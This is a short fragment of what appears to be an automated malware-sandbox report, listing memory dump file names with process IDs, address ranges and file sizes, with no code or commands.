3.7MB
-
memory/1372-70-0x0000000000400000-0x0000000000D2B000-memory.dmpFilesize
9.2MB
-
memory/1472-61-0x000007FEFC041000-0x000007FEFC043000-memory.dmpFilesize
8KB
-
memory/1472-60-0x0000000000000000-mapping.dmp
-
memory/1672-59-0x0000000000000000-mapping.dmp